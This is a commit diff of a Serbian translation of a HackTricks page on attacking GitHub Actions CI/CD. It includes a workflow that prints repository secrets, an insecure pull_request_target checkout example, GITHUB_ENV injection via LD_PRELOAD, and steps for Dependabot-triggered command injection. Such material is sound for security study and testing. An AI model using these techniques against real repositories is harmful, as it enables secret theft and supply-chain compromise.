mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-02 02:04:22 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -4,55 +4,55 @@
|
||||
|
||||
## Alati
|
||||
|
||||
Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih primeraka:
|
||||
Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte takođe checklist u [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte i njihov checklist na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Na ovoj stranici ćete naći:
|
||||
Na ovoj strani ćete naći:
|
||||
|
||||
- Kratak pregled svih **posledica** koje napadač može izazvati ako uspe da pristupi Github Action
|
||||
- Različiti načini kako **dobiti pristup action-u**:
|
||||
- Imati **dozvole** za kreiranje action-a
|
||||
- Zloupotreba okidača vezanih za **pull request**
|
||||
- Zloupotreba drugih tehnika eksternog pristupa
|
||||
- **Pivoting** sa već kompromitovanog repo-a
|
||||
- Na kraju, sekcija o **post-exploitation tehnikama za zloupotrebu action-a iznutra** (koje prouzrokuju prethodno navedene posledice)
|
||||
- Kratak **sažetak svih uticaja** koje napadač može ostvariti ako dobije pristup Github Action
|
||||
- Različite načine da **dobili pristup akciji**:
|
||||
- Imati **permissions** za kreiranje akcije
|
||||
- Zloupotreba **pull request** povezanih okidača
|
||||
- Zloupotreba **other external access** tehnika
|
||||
- **Pivoting** iz već kompromitovanog repozitorijuma
|
||||
- Na kraju, sekcija o **post-exploitation** tehnikama za zloupotrebu akcije iznutra (da bi se postigli gore navedeni uticaji)
|
||||
|
||||
## Rezime posledica
|
||||
## Sažetak uticaja
|
||||
|
||||
Za uvod u [**Github Actions pogledajte osnovne informacije**](../basic-github-information.md#github-actions).
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Ako možete **izvršiti proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, mogli biste:
|
||||
Ako možete **execute arbitrary code in GitHub Actions** unutar **repository**, možda ćete moći da:
|
||||
|
||||
- **Krađa secrets** montiranih u pipeline i **zloupotreba privilegija pipeline-a** za neautorizovan pristup eksternim platformama, kao što su AWS i GCP.
|
||||
- **Kompromitovanje deployments** i drugih **artefakata**.
|
||||
- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack.
|
||||
- **Izvršavanje koda u custom workers** radi zloupotrebe računarske snage i pivotovanja na druge sisteme.
|
||||
- **Prepisivanje koda repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
|
||||
- **Steal secrets** montirane na pipeline i **abuse the pipeline's privileges** da biste dobili neautorizovan pristup eksternim platformama, kao što su AWS i GCP.
|
||||
- **Compromise deployments** i druge **artifacts**.
|
||||
- Ako pipeline deploy-uje ili čuva asset-e, mogli biste izmeniti finalni proizvod, omogućavajući supply chain napad.
|
||||
- **Execute code in custom workers** da biste zloupotrebili računarsku snagu i pivot-ovali na druge sisteme.
|
||||
- **Overwrite repository code**, u zavisnosti od permissions povezanih sa `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Ovaj "**secret**" (potiče iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) dodeljuje se kada admin omogući ovu opciju:
|
||||
Ovaj "**secret**" (dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se dodeljuje kada admin omogući ovu opciju:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpointima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Ovaj token je isti koji će koristiti **Github Application**, pa može pristupiti istim endpoint-ima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github bi trebalo da objavi a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Možete videti moguće **permissions** ovog tokena ovde: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Obratite pažnju da token **isteče nakon završetka job-a**.\
|
||||
Imajte na umu da token **ističe nakon završetka job-a**.\
|
||||
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
|
||||
Neke interesantne stvari koje možete uraditi sa ovim tokenom:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati veće privilegije nad repozitorijumom i organizacijom.
|
||||
> Imajte na umu da ćete u više navrata moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni mogu vam dati veće privilegije nad repozitorijumom i organizacijom.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Prikaži secrets u izlazu Github Action</summary>
|
||||
<summary>Prikaži secrets u Github Action output</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Moguće je proveriti dozvole dodeljene Github Token-u u drugim korisničkim repositories tako što ćete proveriti logove Github actions:
|
||||
Moguće je proveriti dozvole dodeljene Github Token-u u repozitorijumima drugih korisnika **proverom logova Github actions**:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Dozvoljeno izvršavanje
|
||||
|
||||
> [!NOTE]
|
||||
> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **create a new repo in the organization**, ili da imate **write privileges over a repository**.
|
||||
> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **kreirate novi repo u organizaciji**, ili da imate **privilegije za pisanje nad repozitorijumom**.
|
||||
>
|
||||
> Ako ste u ovoj situaciji, možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Ako ste u ovoj situaciji, jednostavno možete proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Izvršavanje preko kreiranja repoa
|
||||
### Izvršavanje kreiranjem repozitorijuma
|
||||
|
||||
U slučaju da članovi organizacije mogu **create new repos** i da možete izvršavati github actions, možete **create a new repo and steal the secrets set at organization level**.
|
||||
U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i ako možete izvršavati Github actions, možete **kreirati novi repo i ukrasti tajne postavljene na nivou organizacije**.
|
||||
|
||||
### Izvršavanje preko novog brancha
|
||||
### Izvršavanje iz nove grane
|
||||
|
||||
Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **modify**, **upload** sadržaj, i potom **execute that action from the new branch**. Na ovaj način možete **exfiltrate repository and organization level secrets** (ali morate znati kako se zovu).
|
||||
Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete ga **izmeniti**, **upload-ovati** sadržaj, i potom **pokrenuti taj action iz nove grane**. Na ovaj način možete **eksfiltrirati tajne repozitorijuma i organizacije** (ali morate znati kako se zovu).
|
||||
|
||||
> [!WARNING]
|
||||
> Bilo kakvo ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, ili manual gates) može biti izmenjeno od strane saradnika. Bez spoljne primene (branch protections, protected environments, i protected tags), contributor može preusmeriti workflow da se pokrene na njegovom branch-u i zloupotrebiti montirane secrets/permissions.
|
||||
> Bilo koje ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, or manual gates) može biti izmenjeno od strane saradnika. Bez spoljnog sprovođenja (branch protections, protected environments, and protected tags), saradnik može preusmeriti workflow da se pokrene na svojoj grani i zloupotrebiti montirane secrets/permissions.
|
||||
|
||||
Možete napraviti izmenjeni action izvršnim **manually,** kada je **PR is created** ili kada je **some code is pushed** (u zavisnosti koliko želite da budete bučni):
|
||||
Možete učiniti izmenjeni action izvršnim **ručno,** kada je **PR kreiran** ili kada je **neki kod push-ovan** (u zavisnosti od toga koliko želite da budete bučni):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -183,46 +183,46 @@ branches:
|
||||
## Izvršavanje iz fork-a
|
||||
|
||||
> [!NOTE]
|
||||
> Postoje različiti trigger-i koji bi napadaču mogli omogućiti da **execute a Github Action of another repository**. Ako su te trigger-abilne akcije loše konfigurisane, napadač bi mogao uspeti da ih kompromituje.
|
||||
> Postoje različiti okidači koji bi napadaču mogli omogućiti da **izvrši Github Action drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neke izuzetke: po default-u ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
|
||||
Okidač workflow-a **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neka izuzeća: po defaultu ako je to **prvi put** da sarađujete, neki **održavalac** će morati da **odobri** **pokretanje** workflow-a:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Pošto je **podrazumevano ograničenje** za **prvi put** doprinosioce, možete doprineti **ispravljajući validan bug/typo** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
|
||||
> Pošto je podrazumevano ograničenje za **first-time** contributore, mogli biste doprineti ispravljanjem validnog bug/typo i potom poslati druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije.
|
||||
>
|
||||
> **I testirao sam ovo i ne radi**: ~~Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.~~
|
||||
> **Isprobao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obriše svoj nalog.~~
|
||||
|
||||
Štaviše, po default-u to **sprečava write permissions** i **secrets access** ka ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Pored toga, po defaultu **prevents write permissions** i **secrets access** ciljnog repozitorijuma kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Sa izuzetkom `GITHUB_TOKEN`, **secrets se ne prosleđuju runner-u** kada je workflow pokrenut iz **forked** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ovima **iz forked repozitorijuma**.
|
||||
|
||||
Napadač može izmeniti definiciju Github Action-a kako bi izvršio proizvoljne komande i dodao proizvoljne akcije. Međutim, zbog pomenutih ograničenja neće moći da ukrade secrets ili prepiše repo.
|
||||
Napadač može izmeniti definiciju Github Action da bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade secrets ili prepiše repozitorijum zbog pomenutih ograničenja.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Da, ako napadač promeni u PR-u github action koji će biti okinut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!**
|
||||
> **Da, ako napadač promeni u PR-u github action koja će biti pokrenuta, njegova Github Action će biti ona koja se koristi i ne ona iz origin repo-a!**
|
||||
|
||||
Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi na primer mogao **otpremiti maliciozne artefakte**.
|
||||
Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi, na primer, mogao **upload malicious artifacts**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** ima **write permission** ka ciljanom repozitorijumu i **access to secrets** (i ne traži odobrenje).
|
||||
Okidač workflow-a **`pull_request_target`** ima **write permission** nad ciljanim repozitorijumom i **access to secrets** (i ne traži dozvolu).
|
||||
|
||||
Napomena da workflow trigger **`pull_request_target`** **pokreće se u base context-u** a ne u onom koji daje PR (da **ne bi izvršavao nepoverljiv kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Štaviše, za više informacija o ovom specifično opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Obratite pažnju da okidač workflow-a **`pull_request_target`** **pokreće se u osnovnom kontekstu** a ne u onom koji daje PR (da bi se izbeglo **izvršavanje nepouzdanog koda**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Pored toga, za više informacija o ovom specifičnom opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Može delovati da je bezbedno koristiti **`pull_request_target`** zato što se **izvršeni workflow** definiše u **base-u** a **ne u PR-u**, ali postoje **nekoliko slučajeva gde to nije**.
|
||||
Može izgledati da zato što je **izvršeni workflow** onaj definisan u **base** i **ne u PR-u** bezbedno je koristiti **`pull_request_target`**, ali postoji nekoliko slučajeva kada to nije tačno.
|
||||
|
||||
I ovaj će imati **access to secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava da se workflow pokrene iz drugog kada je `completed`, `requested` ili `in_progress`.
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
U ovom primeru, workflow je konfigurisan da se pokrene nakon što se odvojeni "Run Tests" workflow završi:
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,29 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Štaviše, prema dokumentaciji: workflow pokrenut događajem `workflow_run` može da **pristupi secrets i write tokens, čak i ako prethodni workflow nije**.
|
||||
Štaviše, prema dokumentaciji: Workflow koji je pokrenut događajem `workflow_run` može da **pristupi secrets i piše tokens, čak i ako prethodni workflow to nije mogao**.
|
||||
|
||||
Ovakav workflow može biti napadnut ako **zavisi** od **workflow** koji eksterni korisnik može **pokrenuti** putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se naći u [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi primer se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`
|
||||
Drugi primer se sastoji u **prosleđivanju** **artifact**-a iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **vulnerable to RCE**.
|
||||
Ovakav workflow može biti napadnut ako **zavisi** od nekog **workflow**-a koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji u tome da `workflow_run` pokrenuti workflow preuzme napadačev kod: `${{ github.event.pull_request.head.sha }}`\
|
||||
Drugi se sastoji u prosleđivanju **artifact**-a iz **nepouzdanog** koda u `workflow_run` workflow i korišćenju sadržaja tog artifact-a na način koji ga čini podložnim **RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz origin ili iz forkovanog PR-a
|
||||
TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originalnog repozitorijuma ili iz fork-ovanog PR-a
|
||||
|
||||
## Zloupotreba forkovanog izvršavanja
|
||||
## Zloupotreba izvršavanja iz fork-a
|
||||
|
||||
Pomenuo/la smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši, sada hajde da pogledamo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti:
|
||||
Pomenuli smo sve načine na koje spoljašnji napadač može naterati github workflow da se izvrši; sada da pogledamo kako se ta izvršavanja, ako su pogrešno konfigurisana, mogu zloupotrebiti:
|
||||
|
||||
### Untrusted checkout execution
|
||||
|
||||
U slučaju **`pull_request`**, workflow će se izvršiti u **kontekstu PR-a** (dakle izvršiće **malicious PRs code**), ali neko mora to prvo **odobriti** i on će se izvršavati sa određenim [ograničenjima](#pull_request).
|
||||
U slučaju **`pull_request`**, workflow će biti izvršen u **kontekstu PR-a** (dakle izvršiće **maliciozni kod PR-a**), ali neko mora to **prvo autorizovati**, i izvršavaće se sa određenim [ograničenjima](#pull_request).
|
||||
|
||||
U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**.
|
||||
U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Međutim, ako **action** ima **explicit PR checkout** koji će **dohvatiti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima PR kod):
|
||||
> Međutim, ako **action** ima **eksplicitan PR checkout** koji će **preuzeti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima kod PR-a):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -282,10 +282,10 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Potencijalno **untrusted code se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages pod kontrolom autora PR-a**.
|
||||
Potencijalno **nepouzdani kod se izvršava tokom `npm install` ili `npm build`** jer build skripte i referencirani **packages su pod kontrolom autora PR-a**.
|
||||
|
||||
> [!WARNING]
|
||||
> Github dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se konfigurišu jobs da se izvršavaju sigurno čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR).
|
||||
> GitHub dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se jobovi konfigurišu za sigurno izvršavanje čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Iz dokumentacije: Možete učiniti da **environment variable bude dostupan svim narednim koracima** u workflow job-u tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** environment fajl.
|
||||
Prema dokumentaciji: Možete učiniti da je **promenljiva okruženja dostupna svim narednim koracima** u workflow jobu tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** fajl okruženja.
|
||||
|
||||
Ako bi napadač mogao da **ubaci bilo koju vrednost** u ovu **env** promenljivu, mogao bi da ubaci env promenljive koje bi mogle izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
|
||||
Ako napadač može **ubaciti bilo koju vrednost** u ovu **env** promenljivu, mogao bi ubaciti env promenljive koje mogu izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
|
||||
|
||||
Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da uploaduje nešto ovakvo da bi ga kompromitovao:
|
||||
Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da upload-uje nešto ovako da ga kompromituje:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PR od `dependabot[bot]` kao u:
|
||||
Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PRR od `dependabot[bot]` kao u:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
To predstavlja problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer:
|
||||
Što je problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer:
|
||||
|
||||
- Napravite fork repository-ja žrtve
|
||||
- Dodajte malicious payload u svoju kopiju
|
||||
- Omogućite Dependabot na svom forku dodavanjem zastarele dependency. Dependabot će kreirati branch koji ispravlja dependency sa malicious kodom.
|
||||
- Otvorite Pull Request ka repository-ju žrtve iz tog branch-a (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
|
||||
- Zatim, napadač se vraća na početni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate`
|
||||
- Zatim Dependabot izvrši neke akcije na tom branch-u, koje izmeniše PR u repository-ju žrtve, čime je `dependabot[bot]` postao autor poslednjeg događaja koji je pokrenuo workflow (i stoga, workflow se pokreće).
|
||||
- Napravite fork repozitorijuma žrtve
|
||||
- Dodajte maliciozni payload u svoju kopiju
|
||||
- Omogućite Dependabot na vašem forku dodavanjem zastarele zavisnosti. Dependabot će kreirati granu koja ispravlja zavisnost sa malicioznim kodom.
|
||||
- Otvorite Pull Request prema repozitorijumu žrtve iz te grane (PR će biti kreiran od strane korisnika pa se još ništa neće desiti)
|
||||
- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u njegovom forku i izvršava `@dependabot recreate`
|
||||
- Zatim, Dependabot izvrši određene akcije u toj grani koje su izmenile PR u repozitorijumu žrtve, što čini da `dependabot[bot]` bude actor poslednjeg događaja koji je pokrenuo workflow (i stoga se workflow izvršava).
|
||||
|
||||
Idemo dalje, šta ako umesto merge-ovanja Github Action ima command injection kao u:
|
||||
Dalje, šta ako umesto mergovanja Github Action ima command injection kao u:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Pa, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga:
|
||||
Dakle, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga:
|
||||
|
||||
- Fork the victim repository and enable Dependabot with some outdated dependency.
|
||||
- Create a new branch with the malicious shell injeciton code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
- Napravite fork repozitorijuma žrtve i omogućite Dependabot sa nekom zastarelom zavisnošću.
|
||||
- Kreirajte novu granu sa malicioznim shell injection kodom.
|
||||
- Promenite default branch repozitorijuma na tu granu.
|
||||
- Kreirajte PR iz ove grane prema repozitorijumu žrtve.
|
||||
- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku.
|
||||
- Dependabot će spojiti njegove izmene u default branch vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` akterom poslednjeg događaja koji je pokrenuo workflow i koristeći maliciozno ime grane.
|
||||
|
||||
### Ranjive Third-Party GitHub Actions
|
||||
### Ranljive Github Actions treće strane
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova GitHub Action dozvoljava pristup artifacts iz različitih workflow-ova i čak repozitorijuma.
|
||||
Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Action omogućava pristup artefaktima iz različitih workflow-ova, pa čak i iz drugih repozitorijuma.
|
||||
|
||||
Problem je u tome što, ako parametar **`path`** nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršeni u workflow-u. Dakle, ako je Artifact ranjiv, napadač bi to mogao zloupotrebiti da kompromituje druge workflow-ove koji veruju tom Artifact-u.
|
||||
Problem je u tome da ako parametar **`path`** nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršavani u workflow-u. Dakle, ako je artefakt ranjiv, napadač bi ovo mogao iskoristiti da kompromituje druge workflow-ove koji veruju tom artefaktu.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
@@ -395,25 +395,25 @@ path: ./script.py
|
||||
|
||||
## Ostali eksterni pristup
|
||||
|
||||
### Obrisano Namespace Repo Hijacking
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Ako nalog promeni svoje ime, drugi korisnik može nakon nekog vremena registrovati nalog sa tim imenom. Ako je repozitorijum pre promene imao **manje od 100 stars**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao obrisani.
|
||||
Ako nalog promeni ime, drugi korisnik može registrovati nalog sa tim imenom nakon nekog vremena. Ako je repository imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao onaj koji je obrisan.
|
||||
|
||||
> [!CAUTION]
|
||||
> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da attacker kreira taj nalog i compromise action.
|
||||
> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da napadač kreira taj nalog i kompromituje action.
|
||||
|
||||
